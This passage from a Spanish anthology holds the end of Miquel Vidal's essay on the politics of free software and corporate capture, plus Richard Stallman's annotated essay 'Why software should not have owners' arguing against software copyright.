mundo en general de toda o parte de esa creatividad.” (Richard Stallman, “El
Manifiesto GNU”, 1985).
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cer de finalidad moral– nos ofrece un resultado optimista y alentador
para una ética materialista (no moralista ni religiosa). La teoría de jue-
gos y el software libre podrían ser la punta de lanza de un nuevo mito, el
mito de compartir, el de la cooperación y la ayuda mutua. Podría anun-
ciar la saludable idea de que incluso con individuos egoístas al mando,
y en palabras del biólogo Dawkins, “los buenos chicos acaban primero”. 

No obstante, hay también razones para pensar que si el enfoque
pragmático, apolítico, también llamado “cooperación egoísta”, se acaba
imponiendo, dañará a la comunidad del software libre, que podría aca-
bar siendo recuperada por el capitalismo posfordista, del mismo modo
que recupera el general intellect (la cooperación y el saber social general)
y lo pone al servicio de la extracción de beneficio privado. Otros, sin
embargo, apuestan por la coexistencia de ambas tendencias, y piensan
que mientras la postura egoísta se avenga a cooperar dentro de las
reglas del software libre no habrá nada que temer. Ese debate lo abor-
daré en el siguiente epígrafe. 

8. Desafíos e interrogantes

“El interés en el software crece más rápido que la
conciencia acerca de la filosofía sobre la cual está
basado, y esto crea problemas. Nuestra capacidad de
enfrentar los desafíos y amenazas al software libre
depende de la voluntad de mantenerse firmes del
lado de la libertad. Para asegurarnos de que nuestra
comunidad tiene esta voluntad, necesitamos esparcir
la idea entre los nuevos usuarios a medida que ellos
llegan a nuestra comunidad. Pero estamos fracasan-
do en esto: los esfuerzos realizados para atraer nue-
vos usuarios a nuestra comunidad sobrepasan de
lejos a los esfuerzos dedicados a la enseñanza cívica
acerca de nuestra comunidad. Necesitamos hacer
ambas cosas, y es necesario que mantengamos ambos
esfuerzos equilibrados.”

Richard Stallman 

Entre 1997 y 1998 se producen tres acontecimientos que, a juicio de
muchos, inauguran un nuevo periodo en el ámbito del software libre: la
publicación de La catedral y el bazar; la liberación del código fuente de
Netscape y la foto de Linus Torvalds en la portada de la revista Forbes.
Convencionalmente, se considera que esos tres hitos despertaron el
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interés y dieron pie a la entrada masiva de las grandes empresas en el
mundo del software libre. Esta nueva etapa está llena de sombríos inte-
rrogantes, por mucho que algunos la describan triunfalmente, y proba-
blemente van a generar nuevos focos de antagonismo. Algunas grandes
empresas han comenzado a contratar hackers (lo cual no es nuevo) para
llevar a cabo desarrollos de software libre (esto sí lo es). Trabajos que
antes se hacían sin interés económico directo ahora empiezan a estar
financiados por empresas. Proyectos cuya motivación era la necesidad o
el deseo de los hackers y de la comunidad de usuarios de software libre,
ajena al mercado, ahora pueden empezar a estar condicionados por las
necesidades, los ritmos y las prioridades de las empresas que financian
esos proyectos.26 Modestos negocios que basaban sus ingresos en ser-
vicios relacionados con el software libre se han convertido de la noche a
la mañana en grandes empresas que han salido a bolsa con capital-ries-
go. Algunas empresas que basan su negocio en el software libre se están
dedicando a comprar empresas más pequeñas y a su vez son compra-
das por otras mayores, produciéndose la creación de grandes emporios.
Ese trajín de compraventa incluye sitios estratégicos para la comunidad
como medios de comunicación o repositorios de software: Andover
compra Slashdot y Freshmeat; VA Linux compra Andover; RedHat
compra Cygnus, etc. ¿Adónde conduce esa concentración empresarial?
¿Qué pinta la gente de a pie en todo este tinglado? 

Hasta ahora, en la comunidad del software libre todo esto no se
aprecia como una amenaza, ni siquiera como un problema, antes al con-
trario: alguna gente se ha esforzado mucho para convencer a las empre-
sas de la viabilidad capitalista del modelo, y ahora empiezan a recoger-
se los frutos. ¿Cómo vamos a oponernos ahora a que las empresas ganen
dinero con el modelo, siempre y cuando mantengan las reglas del juego,
es decir, produzcan o financien software libre? 
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26. Un admirado hacker, que coordina un estratégico proyecto de software libre,
me comentaba en privado recientemente que hasta hace un año se levantaba por la
mañana y se ponía a escribir lo que le apetecía o si no le apetecía no escribía nada.
Ahora, en su empresa, él sigue trabajando con software libre pero cuando se levan-
ta por la mañana debe consultar su agenda y ponerse a escribir lo que le piden sus
clientes. Aunque en ambos casos, antes y ahora, está produciendo software libre, la
diferencia a su juicio es muy notable. 
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Ni tenemos perspectiva ni ha pasado tiempo suficiente (apenas dos
años) para valorar lo que va a suponer la irrupción masiva de capi-
tal fuerte y de transnacionales en el software libre. Mi apreciación
personal es que, a diferencia de otras cuestiones en que se mantiene
una actitud crítica y muy alerta (como la legislación sobre patentes),
en este crucial asunto hay excesiva fe en las bondades del mercado y
del libre comercio. Es cierto que hasta ahora se ha conseguido doble-
gar a verdaderos gigantes, pero ahora la situación es distinta porque
con el modelo de “cooperación egoísta” –y qué mayor paradigma de
la cooperación egoísta que el de la empresa capitalista– esas em-
presas juegan a estar “dentro”. Se puede pasar fácilmente de la coo-
peración sin mando a la cooperación sujetada, la cooperación con
mando. 

Se presupone, en contra de toda evidencia histórica anterior, que lo
que es bueno para las empresas es también bueno para las personas. Y
el axioma no es ese, sino uno más tautológico pero también más
exacto: lo que es bueno para las empresas es bueno para las empresas. Y nada
más. Bien es cierto que, a veces, aquello que genera beneficio empresa-
rial es reutilizado para procurar beneficios sociales, pero esto es
colateral (como un epifenómeno) y es atrozmente ingenuo confiar a
priori en que va a ser así. La confusión entre lo que es bueno para las
empresas (la acumulación de capital y la extracción de beneficio econó-
mico por encima de cualquier otra consideración) y lo que es bueno
para la gente (la producción de bienes públicos y de riqueza social para
la vida en comunidad) puede ser desastrosa. Todo el interés del capitalis-
mo en el software libre es convertirlo en una máquina más de hacer dinero, pero
como con todo lo demás si lo consigue probablemente será a costa de
vaciarlo de todo contenido liberador. 

El sector que va más allá de la superioridad técnica y que realiza
una apuesta por la dimensión ética del software libre, confía en la
fortaleza del movimiento y de momento no se percibe alarma alguna en
este sentido. Se considera que el modelo de producción del software
libre no puede ser privatizado y recuperado por el mercado, que está
blindado jurídicamente (la GPL), técnicamente (la superioridad en varios
órdenes de magnitud de lo creado mediante el modelo bazar frente a
sistemas propietarios) y políticamente (algunos de los más significativos
promotores del software libre provienen de movimientos contracultu-
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rales o simpatizan con causas pro derechos civiles).27

No obstante y compartiendo esa confianza en la potencia de la
comunidad y su capacidad de respuesta, demostrada ampliamente
hasta ahora, no hay razón para desechar una lectura más crítica que nos
haga cuando menos estar alerta y no relajarnos ante los éxitos y los can-
tos de sirena que vienen de fuera: el capitalismo ha sido capaz de “recu-
perar”, privatizar y mercantilizar casi todos los aspectos de la produc-
ción y de la vida, desde lo material a lo inmaterial. ¿Por qué no va a
poder hacer lo mismo con el software libre? De hecho, hay ya bastantes
indicios que apuntan a la “recuperación” mercantilista de la capacidad
de innovación del hacker. El asalto masivo de las grandes empresas, con
perspectiva exclusivamente mercantil, podría verse como un
“troyano”28 introducido en el software libre y que, con el tiempo, para-
site y desactive la potencia de la comunidad. ¿De qué modo? La confu-
sión con el tema de las licencias, por ejemplo, está debilitando progresi-
vamente la filosofía de fondo del software libre (por eso la FSF se esfuer-
za tanto en explicar las diferencias entre unas y otras), haciendo que
algunas empresas hagan pasar por libres desarrollos que no lo son, o
bien popularizando distribuciones comerciales “Linux” que mezclan
software propietario con la base libre del sistema GNU/Linux. Lo pri-
mero –la confusión con las licencias– puede causar desconfianza entre
los desarrolladores, que teman que su trabajo pueda ser finalmente rea-
propiado y privatizado, y lo segundo –las distribuciones GNU/Linux
que añaden software no libre– tapona el desarrollo de opciones libres
que reemplacen esas soluciones propietarias y se legitima software pro-
pietario como si por el hecho de funcionar bajo GNU/Linux fuese
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27. Ver artículo de Aris Papathéodorou y Laurent Moineau, “Coopération et pro-
duction immaterielle dans le logiciel libre”, en Multitudes, Nº 1, marzo de 2000
(hay versión en internet: http://multitudes.samizdat.net/article.php3?id_arti-
cle=212&var_recherche=Papatheodorou/)
[hay trad. cast.: "Cooperación y producción inmaterial en el software libre",
http://sindominio.net/biblioweb/telematica/cooperacion.html].
28. No es solo una metáfora: un “troyano”, en este contexto, sería un tipo particu-
lar de meme. El meme sería la idea del mercado como motor de la economía y dina-
mizador del software libre. En esa hipótesis, el troyano incorporado en el meme lo
“vampiriza”, se propaga con él, y acabaría reduciendo el software libre a una pieza
más del gran supermercado global en que se está convirtiendo gran parte de
Internet.
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“menos propietario” y más aceptable. Por su parte, la Open Source
Initiative (OSI) no ha ayudado mucho a aclarar este panorama. Surgió
como propuesta de algunos hackers para acabar con una ambigüedad
(free en inglés, significa “libre” pero también “gratis”) y con un término
que al parecer disuadía a las empresas, pero a cambio ha introducido
otras tal vez peores: con el concepto open source (“fuente abierta”) que
proponen como sustituto a “software libre” se pone solo el acento en
que el código fuente esté disponible, sin incidir en las otras dos liberta-
des (poder copiar y poder redistribuir libremente). Es decir para solu-
cionar una ambigüedad, se ha creado otra mayor. 

Otro problema derivado del troyano de la mercantilización son los
agravios comparativos que pueden producirse entre hackers que cobran
de multinacionales mucho dinero por el mismo trabajo y proyecto en
que otros participan sin cobrar. También hemos citado el peligro de que
las empresas marquen las prioridades de desarrollo y que se privatice el
conocimiento. Esto último –la privatización del conocimiento– entronca
con dos de los problemas más graves con los que se debe medir el
software libre: 1) la poca o nula disponibilidad de los fabricantes a faci-
litar información técnica relevante sobre sus dispositivos, ni a fabricar
drivers para GNU/Linux que permitan utilizar los nuevos dispositivos
que van apareciendo en el mercado; y 2) las patentes del software, como
forma de privatización de las ideas, verdadera amenaza para el
software libre, ya que obligan a esperar durante años a que expiren
patentes de invención que son cruciales para poder utilizar determina-
dos programas. 

Algunas de esos elementos, o varios combinados entre sí, podrían
desmoronar la cooperación sin mando y, por tanto, la comunidad de
software libre tal y como hoy la conocemos: y si no hay comunidad, no
hay software libre; puede haber fuentes abiertas y públicas incluso, pero
no software libre. Se hace pues cada vez más necesario un análisis polí-
tico del software libre que lleve a una toma de postura política o, si se
prefiere, a una apuesta ética que no ponga en primer lugar la conve-
niencia o la mera instrumentalización de si es mejor o peor que las
opciones propietarias. Estamos ante un fenómeno que escapa claramen-
te a los parámetros clásicos de la economía política y de la ideología:
escapa a los parámetros ideológicos al uso, pues ni acaba de encajar en
una visión antagonista –hay grandes dosis de pragmatismo y no existe
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una visión decididamente anticapitalista– y tampoco encaja en el neoli-
beralismo puro y duro –la libertad absoluta es un valor fundamental del
movimiento, sí, pero no el único pues hay también principios éticos
acerca de lo público, del apoyo mutuo y del acceso igualitario y hori-
zontal a los recursos del conocimiento y en contra de la privatización del
saber humano. Es una nueva noción de bien público, no tutelado por el
mercado ni por el Estado: es un nuevo espacio público no estatal. No hay
duda de que un nuevo modelo de cooperación social productiva ha sur-
gido en torno al software libre: falta saber lo que dará de sí esa comuni-
dad, además de buenas herramientas informáticas, y si este nuevo para-
digma podrá extenderse a otros sectores de la producción inmaterial.
Estamos pues ante una verdadera contienda política, que no está gana-
da ni mucho menos, y que requiere determinación y apoyo al software
libre y una lucha decidida contra las patentes de software y demás leyes
sobre la propiedad intelectual que previsiblemente podrían detener su
avance.29 Me gustaría acabar citando unas palabras de los paleoantro-
pólogos Carbonell y Sala, del proyecto Atapuerca, pues me parecen un
magnífico colofón que de algún modo resume y explica dónde reside la
singularidad y la potencia del software libre: “No es la humanización de la
tecnología lo que debemos buscar, sino su socialización. No es posible humani-
zar algo que es exclusivamente humano. La socialización es lo que permite un
crecimiento exponencial de las capacidades humanas.”30

9. Reconocimientos 
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29 “Las leyes de propiedad intelectual han corrompido completamente las ins-
tituciones económicas, ya que muchas corporaciones dependen de un modo
crucial del monopolio de la información, también en el origen de grandes for-
tunas, más que de la prestación de servicios reales. No deben realizarse com-
promisos con estas leyes, y debe lucharse contra su justificación, habitualmen-
te errónea. Este es el principio fundamental de la filosofía del software libre.
[...] Es difícil luchar contra prejuicios que sirven para justificar enormes inte-
reses financieros, por supuesto. Hace falta ser muy estricto precisamente por-
que la tarea es muy dura.” (François René Rideau, “Sobre los artículos de Eric
S. Raymond”) 
30 Eudald Carbonell y Robert Sala, Planeta humà, Barcelona, Empúries, 2000
[hay trad. cast.: Planeta humano. Barcelona, Península, 2000].
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Sin la propuesta primero y la insistencia después de la Oficina 2004
de Barcelona para escribir esta introducción política al software libre,
probablemente nunca me habría puesto a ello. Al primero que escuché
explicar con claridad la diferencia entre el acercamiento ético y el prag-
mático al software libre fue a Jesús González-Barahona. Buena parte de
las ideas expresadas en la sección “Desafíos e interrogantes” son fruto
de mis frecuentes conversaciones con Marga Padilla, de quien tanto he
aprendido a lo largo de muchas horas de hackin’ –y de vida– comparti-
das durante estos tres últimos años. Agradezco también la atenta lectu-
ra que Luis Pueyo hizo de la versión preliminar de este artículo, cuyas
críticas, comentarios y sutiles observaciones sin duda han mejorado el
texto final. Por último, but not least, la confianza y el apoyo del CSOA el
Laboratorio a la telemática antagonista me ha permitido aprender a
socializar el conocimiento y ha demostrado que son posibles en un cen-
tro social okupado proyectos estables de autoproducción basados en
nuevas tecnologías. 

Lavapiés, Madrid 
Agosto de 2000 

Copyright 2000 Miquel Vidal
Se otorga permiso para copiar, distribuir y/o modificar este documento bajo
los términos de la Licencia de Documentacion Libre GNU, versión 1.1 o cual-
quier versión posterior publicada por la Free Software Foundation. Se consi-
derara como Secciones Invariantes todo el documento, no habiendo Textos de
Portada ni Textos de Contraportada. Puedes consultar una copia de la licencia
en http://www.gnu.org/licenses/gpl.html
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Richard Stallman es un prestigioso hacker
neoyorquino. El editor Emacs es su creación más

famosa. Nació en 1954, se graduó en Harvard en 1971
y trabajó en el laboratorio de Inteligencia Artificial del
MIT hasta principios de los ‘80. Cuando la mayoría de
sus compañeros partió en busca de empleo en grandes
empresas, decidió iniciar el proyecto GNU para mante-
ner vivo el espíritu de colaboración y trabajo colectivo de
los primeros hackers. En la actualidad lidera la Free
Software Foundation (Fundación Software Libre) que
promueve la democratización del acceso a los programas
y las nuevas tecnologías. 

La selección de notas y artículos que aquí se presenta,
reúne intervenciones realizadas por Stallman en distin-

tos medios acerca de temas vinculados con la idea del
software libre y sus implicaciones en otros ámbitos de la
cultura y la economía, como la educación, las leyes de
derechos de autor y las políticas estatales sobre patentes.



Las tecnologías digitales de la información contribuyen al mundo
haciendo que sea más fácil copiar y modificar información. Los ordena-
dores prometen hacer esto más fácil para todos. 

Pero no todo el mundo quiere que sea más fácil. El sistema del
copyright permite que los programas de software tengan “propieta-
rios”, la mayor parte de los cuales pretenden privar al resto del mundo
del beneficio potencial del software. Los propietarios desearían ser los
únicos con capacidad para copiar y modificar el software que usamos. 

El sistema de copyright creció con la imprenta –una tecnología para
la producción masiva de copias. El copyright se ajustaba bien a esta tec-
nología puesto que era restrictiva sólo para los productores masivos de
copias. No privaba de libertad a los lectores de libros. Un lector cual-
quiera, que no poseyera una imprenta, sólo podía copiar libros con
pluma y tinta, y a pocos lectores se les ponía un pleito por ello. 

Las tecnologías digitales son más flexibles que la imprenta: cuando
la información adopta forma digital, se puede copiar fácilmente para
compartirla con otros. Es precisamente esta flexibilidad la que se ajusta
mal a un sistema como el del copyright. Esa es la razón del incremento
de medidas perversas y draconianas que se emplean en la actualidad
para hacer cumplir el copyright del software. Consideremos estas cua-
tro prácticas de la Software Publishers Association [SPA1]: 

[71]

Por qué el software no debe tener 
propietarios*

Richard M. Stallman
notas de Miquel Vidal

* “Why software should not have owners”. Artículo de divulgación del proyecto
GNU (http://www.gnu.org). Traducción de Stan Bark. Revisión y notas de Miquel
Vidal realizada para la revista Archipiélago, mayo de 2001.
1. Software Publisher’s Association (Asociación de Editores de Software). Al igual que
la BSA (Bussiness Software Alliance) –que se comporta en términos estrictos como
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♦ Propaganda masiva afirmando que está mal desobedecer a los 
propietarios para ayudar a un amigo. 
♦ Pedir a la gente que se conviertan en soplones para delatar a 
sus colegas y compañeros de trabajo. 
♦ Redadas (con ayuda policial) en oficinas y escuelas, en las que 
la gente debe probar que son inocentes de hacer copias ilegales. 
♦ El proceso judicial por parte del gobierno de los EE.UU., a petición
de la SPA, de personas como David LaMacchia, del MIT, no por copiar
software (no se le acusa de copiar nada), sino sencillamente por dejar
sin vigilancia equipos de copia y no censurar su uso. 

Cada una de estas cuatro prácticas se asemeja a las usadas en la
antigua Unión Soviética, donde todas las copiadoras tenían un vigilan-
te para prevenir copias prohibidas, y donde las personas tenían que
copiar información en secreto y pasarla mano a mano en forma de
“samizdat”. Por supuesto hay una diferencia: el motivo para el control
de información en la Unión Soviética era político; en los EE.UU. el moti-
vo es el beneficio económico. Pero son las acciones las que nos afectan,
no el motivo. Cualquier intento de bloquear el compartir información,
no importa la causa, lleva a los mismos métodos y a la misma dureza. 

Los propietarios utilizan diversos argumentos para que se les con-
ceda el control del modo en que usamos la información: 
♦ Insultos

Los propietarios usan palabras difamatorias como “piratería” y
“robo”, al igual que terminología técnica como “propiedad intelectual”
y “daño”, para sugerir una cierta línea de pensamiento al público –una
analogía simplista entre programas y objetos físicos.

una organización parapolicial– es ya legendaria la beligerancia de la SPA contra la
llamada “piratería”: ejerce todo tipo de presiones, mentiras y amenazas que luego
sirven de modelo a aprendices de policías como la SGAE española; 
invita a la gente a informar sobre sus compañeros y amigos, y promueve una polí-
tica de “responsabilización”, en la que los dueños de ordenadores deben hacer
cumplir activamente las leyes de copyright, si no quieren ser castigados. En 1996,
en su clásico “El derecho a leer” (en
http://sindominio.net/biblioweb/telematica/derecho_leer.html), el propio Stallman
ya avisaba de cómo la SPA estaba amenazando a pequeños proveedores de
Internet, exigiéndoles que les permitieran espiar a sus usuarios. Muchos provee-
dores se rinden cuando les amenazan, porque no pueden permitirse litigar en los
tribunales. [M.V.]
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Nuestras ideas e intuiciones acerca de la propiedad sobre los objetos
materiales suelen referirse a si es justo quitarle un objeto a alguien. No
se aplican directamente a hacer una copia de algo. Pero los propietarios
nos piden que las apliquemos en cualquier caso. 
♦ Exageración

Los propietarios dicen que sufren un “daño” o “pérdida económica”
cuando los usuarios copian programas por su cuenta. Pero el copiar no
tiene un efecto directo sobre el propietario, y no hace daño a nadie. El
propietario sólo puede perder si la persona que hizo la copia hubiese
pagado por una del propietario en su lugar. 

Un mínimo de reflexión muestra que la mayoría de tales personas no
habrían comprado esas copias. Aun así los propietarios calculan sus
“pérdidas” como si todos y cada uno hubiesen comprado una copia.
Esto es una exageración –por decirlo de una manera suave. 
♦ La ley 

Los propietarios a menudo describen el estado actual de la ley, así
como las duras sanciones con las que nos amenazan. En este enfoque va
implícita la sugerencia de que la ley actual refleja un punto de vista
moral incuestionable –y aún así, al mismo tiempo, se nos insta a consi-
derar estas sanciones como hechos naturales por los que no se puede
responsabilizar a nadie. 

Esta línea de persuasión no está diseñada para defenderse ante el pen-
samiento crítico; está concebida para reforzar un lugar común. 

Es evidente que las leyes no distinguen lo que está bien de lo que está
mal. Todo estadounidense debería saber que, hace cuarenta años, iba
contra la ley que un persona de raza negra se sentase en la parte delan-
tera del autobús; pero solamente los racistas dirían que sentarse ahí no
estaba bien. 
♦ Derechos naturales 

Los autores a menudo sostienen que existe una conexión especial con
los programas que han escrito, y añaden que, en consecuencia, sus
deseos e intereses respecto al programa simplemente prevalecen sobre
aquellos de cualquier otra persona –o incluso de los del resto del
mundo. (Normalmente son las empresas, no los autores, los que retie-
nen los copyrights sobre el software, pero se espera de nosotros que
ignoremos esta discrepancia.) 
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A quienes proponen esto como un axioma ético –el autor es más
importante que tú– sólo les puedo decir que yo mismo, un notable autor
de software,2 lo considero una tontería. 

Pero la gente por lo general sólo suele sentir alguna simpatía hacia los
derechos naturales por dos razones. 

Una razón es una analogía forzada entre el software y los objetos
materiales. Cuando yo cocino spaghettis, me quejo si otra persona se los
come, porque entonces yo ya no me los puedo comer. Su acción me
duele exactamente tanto como lo que le beneficia a él; sólo uno de no-
sotros se puede comer los spaghettis, así que la pregunta es: ¿quién? La
más mínima distinción entre alguno de nosotros es suficiente para incli-
nar la balanza ética. 

Pero el hecho de que tú ejecutes o modifiques un programa que yo he
escrito te afecta a ti directamente y a mí indirectamente. Si tú le das una
copia a tu amigo te afecta a ti y a tu amigo mucho más que lo que me
afecta a mí. Yo no debería tener el poder de decirte que no hagas estas
cosas. Nadie debería. 

La segunda razón es que a la gente se le ha dicho que los derechos
naturales de autor son una tradición aceptada e indiscutida de nuestra
sociedad. 

Desde un punto de vista histórico, sucede justamente lo contrario. La
idea de los derechos naturales de autor fue propuesta y decididamente
rechazada cuando se concibió la Constitución de EE.UU. Esa es la razón
por la que la Constitución sólo permite un sistema de copyright y no
requiere uno; por esa razón dice que el copyright debe ser temporal.
Establece asimismo que el propósito del copyright es promocionar el
progreso –no recompensar a los autores. El copyright recompensa a los
autores en cierta medida, y a los editores más, pero se concibe como un
medio de modificar su comportamiento. 

La tradición realmente establecida de nuestra sociedad es que el
copyright vulnera los derechos naturales del público –y que esto sólo se
puede justificar por el bien del público.3

2. Evidentemente Stallman peca aquí de modestia pues es mucho más que un “nota-
ble programador”: suyas son algunas de las mejores piezas de software hoy exis-
tentes, como el editor Emacs, el compilador GCC y el depurador GDB. [M.V.]
3. Stallman se dedicó extensamente a demostrar esta idea –que el copyright es un
derecho artificial que viene a regular el derecho natural a la copia– en la conferen-
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♦ Economía 
El último argumento que se emplea para justificar la existencia de los

propietarios de software es que esto lleva a la producción de más
software. 

A diferencia de los anteriores, este argumento por lo menos adopta un
enfoque legítimo sobre el tema. Se basa en un objetivo válido –satisfacer
a los usuarios de software. Y está empíricamente demostrado que la
gente producirá más de algo si se les paga bien por ello. 

Pero el argumento económico tiene un defecto: se basa en la presun-
ción de que la diferencia es sólo cuestión de cuánto dinero debemos
pagar. Asume que la “producción de software” es lo que queremos,
tenga el software propietarios o no. 

La gente acepta gustosamente esta presunción porque está de acuer-
do con nuestra experiencia acerca de los objetos materiales. Considérese
un bocadillo, por ejemplo. Es posible que puedas conseguir un bocadi-
llo equivalente bien gratis o por un precio. Si es así, la cantidad que
pagas es la única diferencia. Tanto si lo tienes que comprar como si no,
el bocadillo tiene el mismo sabor, el mismo valor nutricional y en ambos
casos te lo puedes comer sólo una vez. El hecho de si el bocadillo lo
obtienes de un propietario o no, no puede afectar directamente a nada
más que la cantidad de dinero que te queda después. 

Esto es cierto para cualquier objeto material –el hecho de que tenga o
no tenga propietario no afecta directamente a lo que es, o a lo que pue-
das hacer con ello si lo adquieres. 

Pero si un programa tiene un propietario, esto afecta en gran medida
a lo que es, y a lo que puedes hacer con un copia si la compras. La dife-
rencia no es sólo una cuestión de dinero. El sistema de propietarios de
software incentiva a los propietarios de software a producir algo –pero
no lo que la sociedad realmente necesita. Y causa una contaminación
ética intangible que nos afecta a todos. 

¿Qué es lo que la sociedad necesita? Necesita información que esté
verdaderamente a disposición de sus ciudadanos –por ejemplo, progra-

cia que ofreció en julio de 2000 en la Universidad de Burdeos, en el marco de la
Conferencia de Debian, y que llevaba por título: “El copyright contra la comunidad
en la era de las redes de ordenadores”. Existe traducción castellana en
http://sindominio.net/biblioweb/telematica/stallman-copyright.html. [M.V]
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mas que la gente pueda leer, arreglar, adaptar y mejorar, no solamente
ejecutar. Pero lo que los propietarios de software típicamente ofrecen es
una caja negra que no podemos ni estudiar ni modificar. 

La sociedad también necesita libertad. Cuando un programa tiene
un propietario, los usuarios pierden la libertad de controlar una parte
de sus propias vidas. 

Y sobre todo una sociedad necesita incentivar el espíritu de coope-
ración entre sus ciudadanos. Cuando los propietarios de software nos
dicen que ayudar a nuestros vecinos de una manera natural es “pirate-
ría”, están contaminando el espíritu cívico de nuestra sociedad. 

Esto es por lo que decimos que el software libre es una cuestión de
libertad, no de precio.4

El argumento económico para justificar la propiedad es erróneo,
pero la cuestión económica es real. Algunas personas escriben software
útil por el placer de escribirlo o por la admiración y amor al arte;5 pero
si queremos más software del que esas personas escriben, necesitamos
conseguir fondos. 

Desde hace ya diez años, los desarrolladores de software libre han
probado varios métodos para recabar fondos, con algo de éxito. No hay
necesidad de hacer rico a nadie; los ingresos medios de una familia
media, alrededor de 35.000 dólares, prueba ser incentivo suficiente para
muchos trabajos que son menos satisfactorios que programar. 

Durante años, hasta que una beca lo hizo innecesario, yo me gana-
ba la vida realizando mejoras a medida sobre software libre que yo
había escrito. Cada mejora se añadía a la versión standard lanzada y así,
finalmente, quedaban disponibles para el público en general. Los clien-

4. En inglés, la polisemia del término free obliga a insistir en este punto y deshacer
la ambigüedad. En castellano disponemos de dos palabras –libre y gratis–, pero
muchas traducciones se encargan lamentablemente de mantener la confusión y
aun agravarla al traducir free por “gratis”, totalmente erróneo en este contexto:
existe software gratuito que es propietario (el navegador Microsoft Explorer, por
ejemplo) y nada impide vender el software libre, aunque ciertamente se debe ofre-
cer algo extra –normalmente en forma de servicios añadidos– para que alguien
compre algo que puede obtener legítimamente sin pagar por ello. La gratuidad en
este caso es una consecuencia del modelo –en el que el programador puede que
haya cobrado por su trabajo–, pero de ningún modo es lo que define al software
libre. [M.V.]
5. Aunque resulte chocante a primera vista, no solo programadores sino algunos
teóricos consideran la programación “una de las bellas artes” (De la programmation
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tes me pagaban para que trabajase en las mejoras que ellos querían, en
vez de en las características que yo habría considerado la máxima prio-
ridad. 

La Fundación para el Software Libre, una entidad sin ánimo de
lucro exenta de impuestos para el desarrollo de software libre, consigue
fondos mediante la venta de CD-ROMs de GNU,6 camisetas, manuales
y distribuciones “deluxe” (todo lo cual los usuarios son libres de copiar
y modificar), así como mediante donaciones. Ahora cuenta con un equi-
po de cinco programadores, y tres empleados [cuando se escribió el artí-
culo] que se encargan de los pedidos por correo. 

Algunos desarrolladores de software libre ganan dinero mediante
la venta de servicios de soporte. Cygnus Support,7 que cuenta con alre-
dedor de 50 empleados, estima que en torno al 15 por ciento de la acti-
vidad de su equipo es desarrollo de software libre –un porcentaje res-
petable para una compañía de software. 

Algunas compañías, incluyendo Intel, Motorola, Texas Instruments
y Analog Devices, han unido esfuerzos para financiar el desarrollo con-
tinuado del compilador GNU para el lenguaje C. Mientras, el compila-
dor GNU para el lenguaje Ada está siendo financiado por la Fuerza

considérée comme une des beaux arts es precisamente el título de una obra de Pierre
Lévy). Por su parte Franco Berardi, Bifo, afirma en “Lavoro zero” [Trabajo cero] que
la programación puede ser valorada no solo “como ejecución de un proyecto pre-
definido, no como simple elaboración de los procedimientos a través de los cuales
se pone en funcionamiento un cierto proceso, sino como redefinición del contexto
mismo y como elaboración de procedimientos afortunados.” [“Lavoro zero”, en
DeriveApprodi, Año II, Nº 3-4, Invierno-primavera de 1994] [M.V.]
6. El Proyecto GNU (acrónimo recursivo que significa GNU’s Not UNIX, o sea,
“GNU No es UNIX”) nació en 1984 de la mano de Richard Stallman, por entonces
un hacker del emblemático Laboratorio de Inteligencia Artificial del Massachusetts
Institute Technology (MIT), cuna de grandes hackers. El proyecto GNU se propu-
so a la sazón una tarea titánica: construir un sistema operativo libre completo. No
es sencillo expresar en pocas palabras la enorme dificultad que comporta un pro-
yecto así, en principio sólo al alcance de unas cuantas compañías con miles de pro-
gramadores a sueldo. [M.V.]
7. Cygnus fue la primera empresa importante que trabajó con software libre. Sus
aportaciones a la comunidad del software libre –liberando código y manteniendo
herramientas críticas como el compilador C de GNU– han sido numerosas e impor-
tantes. En 1999 fue adquirida por Red Hat, una gran compañía que basa por com-
pleto su modelo de negocio en el software libre. (N. del E.)
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Aérea de EE.UU., que cree que esta es la manera más efectiva de conse-
guir un compilador de alta calidad.8

Todos estos ejemplos son modestos;9 el movimiento de software
libre es pequeño y todavía joven. Pero el ejemplo de la radio “manteni-
da-por-la-audiencia”10 en los EE.UU. muestra que es posible mantener
una actividad grande sin forzar a cada usuario a pagar. 

Como usuario de informática hoy en día, puede que estés utilizan-
do un programa propietario [proprietary program]. Si tu amigo te pide
hacer una copia, estaría mal negarse a ello. La cooperación es más
importante que el copyright. Pero una cooperación clandestina, escon-
dida, no contribuye a mejorar la sociedad. Una persona debería aspirar
a vivir una vida abiertamente con orgullo, y esto significa decir “No” al
software propietario [proprietary software]. 

Te mereces ser capaz de cooperar abierta y libremente con otras per-
sonas que usan software. Te mereces ser capaz de aprender cómo fun-
ciona el software, y enseñar a tus estudiantes con él. Te mereces ser
capaz de contratar a tu programador favorito para arreglarlo cuando se
rompa. 

Te mereces el software libre. 

Copyright 1994, 1998 Richard Stallman 
Se permite la copia textual y la distribución de este artículo en su totalidad a
través de cualquier medio, siempre que esta nota se mantenga. 

8. La financiación de la Fuerza Aérea se acabó hace algún tiempo; el Compilador
GNU de Ada está ahora en servicio, y su mantenimiento se financia comercial-
mente. (N. del E.)
9. Desde que Stallman revisó este artículo por última vez, hace apenas tres años, la
situación ha cambiado sobremanera y se han multiplicado las iniciativas comercia-
les, que ya no son tan “modestas” como las que citaba: en torno al software libre
han surgido cientos de nuevas empresas, hasta el punto de convertirse en los dos
últimos años en uno de los sectores más dinámicos del ya de por sí dinámico sec-
tor informático. Muchas de esas empresas mantienen modelos de negocio tradicio-
nales basados en la prestación de servicios, pero otras están abriendo nuevas vías.
No ha faltado incluso la incursión de capital financiero y especulativo en empresas
del mundo Linux, como VA Linux y Red Hat, cuya salida a bolsa fue espectacular
en ambos casos. [M.V.]
10. Se refiere a las llamadas radios públicas, que tienen algún parecido con las
radios libres. Para mantenerse sin necesidad de publicidad y sin control mediático
reciben donaciones de sus oyentes, que no pagan por un servicio sino por mante-
ner en antena y sin dependencias comerciales algo que cualquiera escuchará gra-
tis. [M.V.]



Había una vez, en la época de la imprenta, una regulación indus-
trial establecida para el negocio de escribir y editar. Se llamaba
copyright. El propósito del copyright era fomentar la publicación de
una diversidad de obras escritas. El método del copyright era obligar a
los editores a pedir permiso a los autores para volver a editar escritos
recientes. 

Los lectores corrientes tenían pocos motivos para rechazarlo, pues-
to que el copyright sólo restringía la publicación, no las cosas que un
lector podía hacer. Si subía el precio del libro en una pequeña cantidad,
sólo era el dinero. El copyright ofrecía un beneficio público, como había
sido pensado, con apenas carga para el público. Cumplía bien su come-
tido, por aquel entonces. 

Entonces surgió una nueva forma de distribuir información: com-
putadoras y redes. La ventaja de la tecnología de información digital es
que facilita la copia y manipulación de información, incluyendo
